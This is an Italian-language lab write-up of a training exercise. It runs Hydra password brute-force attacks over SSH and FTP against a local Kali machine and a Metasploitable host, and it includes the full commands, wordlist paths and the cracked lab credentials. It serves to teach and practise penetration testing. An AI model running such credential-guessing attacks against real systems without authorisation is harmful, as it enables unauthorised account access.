

La prima parte dell'esercizio ci chiede di creare un nuovo utente, avviare il servizio ssh e testare la connessione SSH dell'utente creato verso la macchina kali.

```
(kali@kali)-[~]
$ ssh test_user@192.168.1.105
test_user@192.168.1.105's password:
Linux kali 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali2 (2023-02-23) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 12 02:27:54 2023 from 192.168.1.105
```

Successivamente andiamo a configurare hydra impostando come username il singolo user "test\_user" (-l) e come password il percorso della lista di password di seclists (-P) e inoltre aggiungiamo il comando -t4 ssh per limitare il numero di tentativi al secondo così da non far bloccare il sistema. Come vediamo la password ricercata è "testpass"

```
(test_user@kali)-[~]
$ hydra -l "test_user" -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt 192.168.1.105 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-14 03:18:34
[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task
[DATA] attacking ssh://192.168.1.105:22/
[STATUS] 42.00 tries/min, 42 tries in 00:01h, 9958 to do in 03:58h, 4 active
[STATUS] 28.00 tries/min, 84 tries in 00:03h, 9916 to do in 05:55h, 4 active
[STATUS] 27.00 tries/min, 189 tries in 00:07h, 9811 to do in 06:04h, 4 active
[STATUS] 26.93 tries/min, 404 tries in 00:15h, 9596 to do in 05:57h, 4 active
[STATUS] 26.58 tries/min, 824 tries in 00:31h, 9176 to do in 05:46h, 4 active
[STATUS] 26.47 tries/min, 1244 tries in 00:47h, 8756 to do in 05:31h, 4 active
[STATUS] 26.41 tries/min, 1664 tries in 01:03h, 8336 to do in 05:16h, 4 active
[STATUS] 26.38 tries/min, 2084 tries in 01:19h, 7916 to do in 05:01h, 4 active
[STATUS] 26.36 tries/min, 2504 tries in 01:35h, 7496 to do in 04:45h, 4 active
[STATUS] 26.34 tries/min, 2924 tries in 01:51h, 7076 to do in 04:29h, 4 active
[STATUS] 26.32 tries/min, 3343 tries in 02:07h, 6657 to do in 04:13h, 4 active
[STATUS] 26.31 tries/min, 3762 tries in 02:23h, 6238 to do in 03:58h, 4 active
[STATUS] 23.98 tries/min, 4112 tries in 02:51h, 5888 to do in 04:06h, 4 active
[STATUS] 24.18 tries/min, 4533 tries in 03:07h, 5467 to do in 03:47h, 4 active
[STATUS] 24.34 tries/min, 4953 tries in 03:23h, 5047 to do in 03:28h, 4 active
[22][ssh] host: 192.168.1.105 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-14 06:52:06
```

Un altro punto dell'esercizio è di testare un altro servizio: ftp, quindi installiamo il servizio vsftpd e successivamente impostiamo sempre hydra ma in questo caso vediamo che non è riuscita a trovare una password.

```
File Actions Edit View Help
(kali@kali)-[~]
$ sudo apt install vsftpd
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1306 not upgraded.
Need to get 142 kB of archives.
After this operation, 351 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Fetched 142 kB in 2s (87.6 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 407367 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b2) ...
Setting up vsftpd (3.0.3-13+b2) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-1) ...
Processing triggers for kali-menu (2023.1.7) ...

(kali@kali)-[~]
$ hydra -l "kali" -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt 192.168.1.105 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-15 02:27:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:1/p:1000), ~63 tries per task
[DATA] attacking ftp://192.168.1.105:21/
[STATUS] 287.00 tries/min, 287 tries in 00:01h, 713 to do in 00:03h, 16 active
[STATUS] 281.33 tries/min, 844 tries in 00:03h, 156 to do in 00:01h, 16 active
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-15 02:30:49
```

Infine l'ultima parte dell'esercizio è tentare la connessione dalla porta FTP da kali a meta quindi dopo aver creato un file con una lista di password tra cui msfadmin impostiamo come username msfadmin e come password il percorso del file txt creato verso l'ip di meta (192.168.1.103). Vediamo che hydra ha recuperato la password corretta per accedere a meta.

```
(kali@kali)-[~] er you become, the more you are able to hear"
$ hydra -l "msfadmin" -P ~/Desktop/10-password-msf.txt 192.168.1.103 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-15 02:45:48
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to pre
vent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 28 login tries (l:1/p:28), ~2 tries per task
[DATA] attacking ftp://192.168.1.103:21/
[21][ftp] host: 192.168.1.103 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-15 02:46:06
```